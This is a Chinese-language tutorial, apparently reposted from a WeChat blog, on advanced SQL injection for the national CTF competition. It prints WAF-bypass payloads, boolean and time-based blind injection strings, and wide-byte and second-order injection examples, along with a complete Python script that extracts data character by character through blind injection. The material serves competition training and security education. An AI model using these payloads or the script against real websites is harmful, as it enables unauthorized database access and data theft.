CTF国赛技术点系列(第1期)——Web高频技术点:SQL注入进阶(国赛必考点)

admin 2026-04-28 05:37:26 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文系统解析CTF国赛Web板块中SQL注入进阶技术,重点阐述WAF绕过、盲注和特殊场景注入三类高频考点。文档结合真题场景提供具体绕过技巧与自动化脚本模板,强调场景识别优先于复杂注入逻辑的实战策略,并给出工具配合与时间管理建议。 综合评分: 87 文章分类: CTF,WEB安全,漏洞分析,渗透测试,红队


cover_image

CTF国赛技术点系列(第1期)——Web高频技术点:SQL注入进阶(国赛必考点)

原创

点击关注👉 点击关注👉

网络安全学习室

2026年4月27日 10:51 湖南

在小说阅读器读本章

去阅读

一、技术点定位(国赛核心,必掌握)

在CTF国赛中,Web板块占比常年稳居第一(约30%-40%),而SQL注入是Web板块的核心技术点,也是国赛高频考点——无论是基础送分题,还是进阶拉分题,都离不开SQL注入的应用。

国赛中的SQL注入,不再是简单的“union select”常规注入,更侧重WAF绕过、注入场景变种、盲注技巧,本期重点拆解国赛常考的SQL注入进阶考点,结合国赛真题场景,给出可直接落地的解题思路和避坑技巧,帮你吃透这个核心拿分点。

核心目标:掌握国赛SQL注入3类高频进阶场景,能快速识别注入点、绕过WAF、提取flag,拿下该类题型的全部分数。


二、国赛高频SQL注入进阶场景(3类核心,必练)

国赛中SQL注入的核心考查场景,集中在“WAF绕过注入、盲注、特殊场景注入”,以下逐类拆解,结合真题案例,让你一看就会、一练就通。

场景1:WAF绕过SQL注入(国赛最高频,占比60%+)

国赛Web题中,80%的SQL注入都会开启基础WAF(如安全狗、云锁基础版),核心考查“如何识别WAF拦截规则、针对性绕过”,而非复杂的注入逻辑。

1. 核心考点

  • WAF拦截规则识别(关键词拦截、正则拦截);
  • 高频绕过技巧(大小写绕过、编码绕过、关键词拆分、注释绕过);
  • 绕过后续的常规注入(联合查询、报错注入)。

2. 国赛真题场景示例

题目场景:页面存在查询接口 http://xxx\.xxx\.xxx\.xxx/index\.php?id=1,输入 id=1\&\#39; or 1=1\-\-\+ 被WAF拦截,提示“存在恶意注入”,需绕过WAF,提取数据库中的flag。

3. 解题思路(国赛临场可直接套用)

  • 第一步:识别WAF拦截规则(关键)

  • 测试单个关键词:依次输入 select、union、or、and、\-\-\+,观察哪些关键词被拦截;

  • 示例:测试发现,输入“select”“union”被拦截,输入“or”“and”未被拦截,说明WAF重点拦截核心注入关键词。

  • 第二步:针对性绕过(优先尝试国赛高频绕过技巧)

  • 大小写绕过(最基础、最常用):将被拦截的关键词改为大小写混合,如 UnIoN、SeLeCt

  • 关键词拆分(适用于关键词被完整拦截):用“+、-、空格”拆分关键词,如 sel\+ect、uni\+on(部分WAF不拦截拆分后的关键词);

  • 编码绕过(适用于严格拦截):对关键词进行URL编码、Hex编码,如将“select”编码为 %73%65%6C%65%63%74

  • 注释绕过(适用于拦截注释符):用 /\*\*/、\#、\-\- 替代 \-\-\+,如 id=1\&\#39; or 1=1\#

  • 第三步:绕过后续注入(常规操作)

  • 构造绕过后的注入语句:id=1\&\#39; UnIoN SeLeCt 1,database\(\),3\#,获取数据库名;

  • 逐步提取表名、字段名、数据,最终找到flag(如 id=1\&\#39; UnIoN SeLeCt 1,flag,3 from flag\_table\#)。

4. 国赛避坑技巧

  • 不盲目尝试复杂绕过技巧:国赛WAF多为基础拦截,优先尝试大小写、简单编码绕过,节省时间;
  • 测试拦截规则时,单次只输入一个关键词,避免多个关键词叠加,无法精准定位被拦截的内容;
  • 若绕过失败,可尝试更换注入方式(如将联合查询改为报错注入),避开WAF拦截重点。

场景2:盲注(国赛进阶拉分点,占比25%+)

当注入点无回显(输入注入语句后,页面无明显变化,不返回数据库数据),此时需使用盲注——国赛中主要考查布尔盲注和时间盲注,其中布尔盲注最常考、最易拿分。

1. 核心考点

  • 盲注识别(无回显、页面只有两种状态:正常/异常);
  • 布尔盲注逻辑(利用“真/假”判断,逐字符提取数据);
  • 时间盲注(利用sleep()函数,通过响应时间判断逻辑真假)。

2. 国赛真题场景示例

题目场景:页面 http://xxx\.xxx\.xxx\.xxx/login\.php,输入用户名admin,密码随意,页面提示“用户名或密码错误”;输入 admin\&\#39; and 1=1\#,页面提示“用户名或密码错误”;输入 admin\&\#39; and 1=2\#,页面提示“用户不存在”——判断存在布尔盲注,需提取flag。

3. 解题思路(国赛临场可直接套用)

  • 第一步:确认盲注类型(布尔盲注)

  • 通过输入“and 1=1”“and 1=2”,观察页面状态变化(两种不同提示),确认是布尔盲注;

  • 核心逻辑:利用“and 条件”,若条件为真,页面返回一种状态;若条件为假,返回另一种状态,逐字符判断flag。

  • 第二步:构造布尔盲注语句(逐字符提取)

  • 先判断flag长度:admin\&\#39; and length\(flag\)=12\#(假设flag长度为12,若页面提示“用户名或密码错误”,说明条件为真;若提示“用户不存在”,说明条件为假,调整长度);

  • 逐字符提取flag:利用substr()函数,逐字符判断ASCII值,如 admin\&\#39; and substr\(flag,1,1\)=\&\#39;f\&\#39;\#(判断flag第一个字符是否为f,根据页面状态调整字符);

  • 简化操作:用Python编写盲注脚本,自动逐字符提取,节省时间(脚本模板见下文)。

  • 第三步:时间盲注补充(适用于无页面状态变化)

  • 若页面无任何状态变化,使用时间盲注,构造语句:admin\&\#39; and if\(length\(flag\)=12,sleep\(5\),1\)\#(若条件为真,页面延迟5秒响应;若为假,正常响应);

  • 同样逐字符提取,利用脚本自动执行,避免手动操作繁琐。

4. 国赛实用脚本模板(布尔盲注,直接套用)

import requests

url = "http://xxx.xxx.xxx.xxx/login.php"# 题目地址
flag = ""
# 假设flag长度为12(可先手动判断长度)
for i inrange(1, 13):
    # 遍历ASCII值(flag多为小写字母+数字+{},范围32-126)
    for j inrange(32, 127):
        # 构造盲注语句,根据题目场景调整
        data = {
            "username": f"admin' and substr(flag,{i},1)='{chr(j)}'#",
            "password": "123456"
        }
        response = requests.post(url, data=data)
        # 根据页面提示判断条件是否为真(替换为题目实际提示)
        if"用户名或密码错误"in response.text:
            flag += chr(j)
            print(f"当前flag:{flag}")
            break
print(f"最终flag:{flag}")

5. 国赛避坑技巧

  • 盲注优先用脚本:手动逐字符判断效率极低,国赛时间有限,提前准备好脚本模板,修改参数即可使用;
  • 判断flag长度是关键:先确定flag长度,再逐字符提取,避免无意义的遍历;
  • 时间盲注注意延迟时间:设置sleep(3-5秒)即可,避免延迟过长浪费时间,或被WAF检测。

场景3:特殊场景SQL注入(国赛冷门但易拿分,占比15%)

国赛中会出现一些特殊注入场景,看似复杂,实则有固定解题套路,重点考查“场景识别”,掌握后可快速拿分。

1. 高频特殊场景(2类)

  • 场景A:宽字节注入(针对GBK编码)

  • 识别特征:输入单引号',页面出现乱码(如�),说明可能是宽字节注入;

  • 解题技巧:用%df替代单引号,构造注入语句,如 id=1%df\&\#39; union select 1,flag,3\#(%df和'结合,绕过转义符\)。

  • 场景B:二次注入(存储型注入变种)

  • 识别特征:注入语句不会立即生效,需提交后,在另一页面(如个人中心、留言板)触发;

  • 解题技巧:先在输入框(如注册用户名)提交注入语句(如 admin\&\#39; union select 1,flag\#),再访问触发页面,提取flag。

2. 避坑技巧

  • 遇到单引号乱码,优先尝试宽字节注入,不用盲目测试其他绕过技巧;
  • 二次注入的核心是“存储+触发”,若输入注入语句后无回显,可尝试访问其他相关页面,寻找触发点。

三、国赛实战总结(必记)

  • 1. 国赛SQL注入核心:先识别场景,再选对应技巧,不盲目尝试,节省时间;
  • 2. 优先级:WAF绕过注入 > 布尔盲注 > 特殊场景注入(先拿下高频考点,再攻克冷门场景);
  • 3. 工具配合:Burp抓包测试拦截规则、构造注入语句,Python脚本简化盲注操作,提升效率;
  • 4. 核心原则:不钻复杂注入逻辑,国赛考查的是“场景识别+基础技巧应用”,掌握套路就能拿分。

四、文末福利

如果你也是零基础、想参加竞赛网安但不知道从哪开始,可以点击文末阅读原文领取200节攻防教程,帮你少走弯路。后续我会持续更新网安实战、就业、副业相关干货,关注我,带你从零基础一步步靠网安变现。


五、下期预告

下一期,我们继续更新国赛Web板块高频技术点——文件上传进阶,拆解国赛常考的文件上传绕过技巧(图片马、后缀绕过、内容检测绕过),结合真题场景,帮你拿下又一个核心拿分点。关注我,国赛技术点系列持续更新,逐个吃透国赛考点,稳稳冲奖!#CTF国赛 #国赛技术点 #Web技术点 #SQL注入进阶 #CTF备赛干货


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:网络安全学习室 点击关注👉 点击关注👉《CTF国赛技术点系列(第1期)——Web高频技术点:SQL注入进阶(国赛必考点)》

评论:0   参与:  0